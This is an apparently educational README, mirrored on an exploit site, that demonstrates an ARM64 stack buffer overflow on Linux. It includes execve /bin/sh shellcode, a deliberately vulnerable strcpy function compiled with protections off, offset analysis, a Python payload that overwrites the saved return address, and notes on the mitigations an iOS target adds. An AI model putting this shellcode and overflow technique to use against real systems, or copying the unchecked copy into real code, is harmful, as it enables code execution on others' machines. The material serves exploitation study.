Share
## https://sploitus.com/exploit?id=456FEB2E-04AF-592E-8175-BACF1C057D59
# ARM64 Buffer Overflow Exploit Demo

A from-scratch demonstration of ARM64 exploitation techniques, covering raw assembly, stack layout, control flow hijacking, and shellcode development on Linux ARM64.

## Environment

- **Architecture**: ARM64 (AArch64)
- **OS**: Linux (Artix, tested with qemu-aarch64)
- **Tools**: `aarch64-linux-gnu-gcc`, `aarch64-linux-gnu-as`, `qemu-aarch64`, `GDB`
- **Language**: ARM64 assembly, C

## Project Structure

```
arm64-exploit-demo/
โ”œโ”€โ”€ README.md
โ”œโ”€โ”€ shellcode/
โ”‚   โ””โ”€โ”€ hello.s        # ARM64 shellcode development
โ”œโ”€โ”€ vulnerable.c       # Deliberately vulnerable target program
โ””โ”€โ”€ exploit.py         # Exploit script
```

---

## Part 1 - ARM64 Assembly and Syscalls

Before exploiting anything, I wrote raw ARM64 assembly to understand the architecture from the ground up.

### Key differences from x86

ARM64 is a RISC architecture with fixed 4-byte instructions. Unlike x86, you cannot operate directly on memory - all operations go through registers first (load, compute, store). Syscalls use `svc #0` instead of `int 0x80` or `syscall`, and the syscall number goes in `x8` instead of `rax`.

### Calling convention

Arguments are passed in registers `x0`โ€“`x5`. The return value lands in `x0`. The link register `x30` holds the return address instead of the stack (for leaf functions).

### Hello World syscall

```asm
.global _start
.text
_start:
    mov x0, #1          // stdout
    adr x1, msg         // pointer to message
    mov x2, #13         // length
    mov x8, #64         // write syscall
    svc #0

    mov x0, #0          // exit code
    mov x8, #93         // exit syscall
    svc #0

.data
msg:
    .ascii "Hello World\n"
```

---

## Part 2 - The Link Register and Control Flow

In ARM64, `bl` (branch with link) saves the return address into `x30` rather than pushing it onto the stack. This is the key register for control flow hijacking.

When a function calls another function, it must save `x30` to the stack first - otherwise the outer return address is lost.

### Standard function prologue/epilogue

```asm
outer:
    sub sp, sp, #16
    stp x29, x30, [sp]   // save frame pointer and return address
    bl inner
    ldp x29, x30, [sp]   // restore
    add sp, sp, #16
    ret
```

`stp` (store pair) and `ldp` (load pair) are the standard way to save two registers at once. You will see these constantly in iOS disassembly.

### Stack alignment

ARM64 requires the stack pointer to always be 16-byte aligned. Even though `x30` is only 8 bytes, you always reserve 16 bytes - pairing `x29` and `x30` naturally fills this requirement.

### Corrupting x30

If a function fails to save `x30` before calling another function, the return address is lost. In exploitation, this is the primitive you use to redirect execution:

```asm
ldr x30, =evil_func   // overwrite return address
ret                    // jump to attacker-controlled code
```

---

## Part 3 - Shellcode

To demonstrate arbitrary code execution I wrote shellcode that spawns `/bin/sh` using a raw `execve` syscall. Raw syscalls are preferred over libc wrappers in shellcode because they have no library dependencies and work in any process.

```asm
shell_func:
    adr x0, binsh      // pointer to "/bin/sh"
    mov x1, #0         // argv = NULL
    mov x2, #0         // envp = NULL
    mov x8, #221       // execve syscall number (ARM64 Linux)
    svc #0

.data
binsh:
    .ascii "/bin/sh\0"
```

The `execve` syscall replaces the current process image with `/bin/sh`. On success it never returns.

---

## Part 4 - Buffer Overflow Exploit

### The vulnerability

`vulnerable.c` contains a classic stack buffer overflow via `strcpy`, which performs no bounds checking:

```c
void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // no bounds check
    printf("Input was: %s\n", buffer);
}
```

### Compile with protections disabled

```bash
aarch64-linux-gnu-gcc -o vuln vulnerable.c \
    -fno-stack-protector \
    -no-pie \
    -z execstack \
    -static
```

### Finding the offset

Disassembly of `vulnerable()` reveals the stack layout:

```asm
4006d4: stp x29, x30, [sp, #-96]!   // allocate 96 bytes, save x29/x30 at top
4006e0: add x0, sp, #0x20           // buffer starts at sp+32
```

Stack layout:
```
sp+0:   saved x29  (8 bytes)
sp+8:   saved x30  (8 bytes)  โ† target
sp+16:  unused     (8 bytes)
sp+24:  input ptr  (8 bytes)
sp+32:  buffer     (64 bytes) โ† overflow starts here
```

I confirmed the offset using GDB with a pattern payload of A's, B's, C's, and D's. When x30 contained `0x4343434343434343` (C's), the offset to x30 was confirmed as **72 bytes**.

```
64 bytes  โ†’ fill buffer
8 bytes   โ†’ overwrite saved x29
8 bytes   โ†’ overwrite saved x30  โ† we control execution from here
```

### Exploit

```python
import struct

padding = b"A" * 72
target  = struct.pack("<Q", 0x4006d4)  # address of shell_func (little endian)

payload = padding + target
```

### Result

```
$ python3 exploit.py | xargs qemu-aarch64 ./vuln
Program started
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
bash: /.cargo/env: No such file or directory   # harmless shell startup error
$ whoami
user
```

Execution was successfully redirected from `vulnerable()` to `shell_func`, which spawned `/bin/sh`.

---

## Mitigations bypassed

| Mitigation | Status | Notes |
|------------|--------|-------|
| Stack canaries | Disabled | `-fno-stack-protector` |
| ASLR/PIE | Disabled | `-no-pie` |
| NX (non-executable stack) | Disabled | `-z execstack` |
| PAC | Not present | Linux userspace, not iOS |

---

## What this maps to in iOS exploitation

This demo covers the foundational primitive used in real iOS jailbreaks. The differences in a real iOS target are:

- **ASLR** is always enabled - requires an info leak to find target addresses
- **Stack canaries** are present - require a bypass or a use-after-free instead of a simple overflow
- **PAC (Pointer Authentication Codes)** - Apple signs `x30` cryptographically before storing it; bypassing PAC is currently the hardest part of iOS exploitation
- **Sandbox** - code execution alone is not enough; a sandbox escape is needed
- **Kernel exploit** - a full jailbreak requires kernel-level privilege escalation on top of all of the above

---

## Limitations and real world considerations

### Null bytes in the payload

The target address `0x4006d4` contains null bytes when packed into 8 bytes:

```
0x4006d4 โ†’ \xd4\x06\x40\x00\x00\x00\x00\x00
```

This exploit only works because the null bytes fall at the end of the address and `strcpy` had already finished copying before truncating. In a real exploit this would be a critical problem - `strcpy` stops at the first null byte, so any address containing `\x00` mid-payload would truncate the overflow and prevent x30 from being overwritten correctly.

Real exploits handle this in several ways:

- **Choose a target address with no null bytes** - find a gadget or function at a high address like `0xdeadbeef` that naturally contains no null bytes
- **Encode the payload** - XOR the address with a known key, write a decoder stub that runs first and reconstructs the real address at runtime
- **Use a different vulnerability** - `read()` and `memcpy()` are not null-byte sensitive unlike string functions, so a vulnerability using those functions avoids the problem entirely
- **Alphanumeric shellcode** - constrain the entire payload to printable ASCII characters, avoiding null bytes and other bad characters entirely

### Hardcoded address

The address of `shell_func` (`0x4006d4`) is hardcoded in the exploit. This only works because ASLR is disabled. With ASLR enabled the binary loads at a random base address every run, so the absolute address of `shell_func` changes each time. Defeating ASLR requires finding an information leak - a vulnerability that lets you read a pointer from the process's memory, calculate the base address from it, and then compute the correct runtime address of your target.

---

## References

- [ARM Architecture Reference Manual](https://developer.arm.com/documentation/ddi0487/latest)
- [Linux ARM64 syscall table](https://arm64.syscall.sh)
- [Siguza's iOS kernel exploit writeups](https://siguza.github.io)
- [Google Project Zero blog](https://googleprojectzero.blogspot.com)
- [phrack.org](http://phrack.org)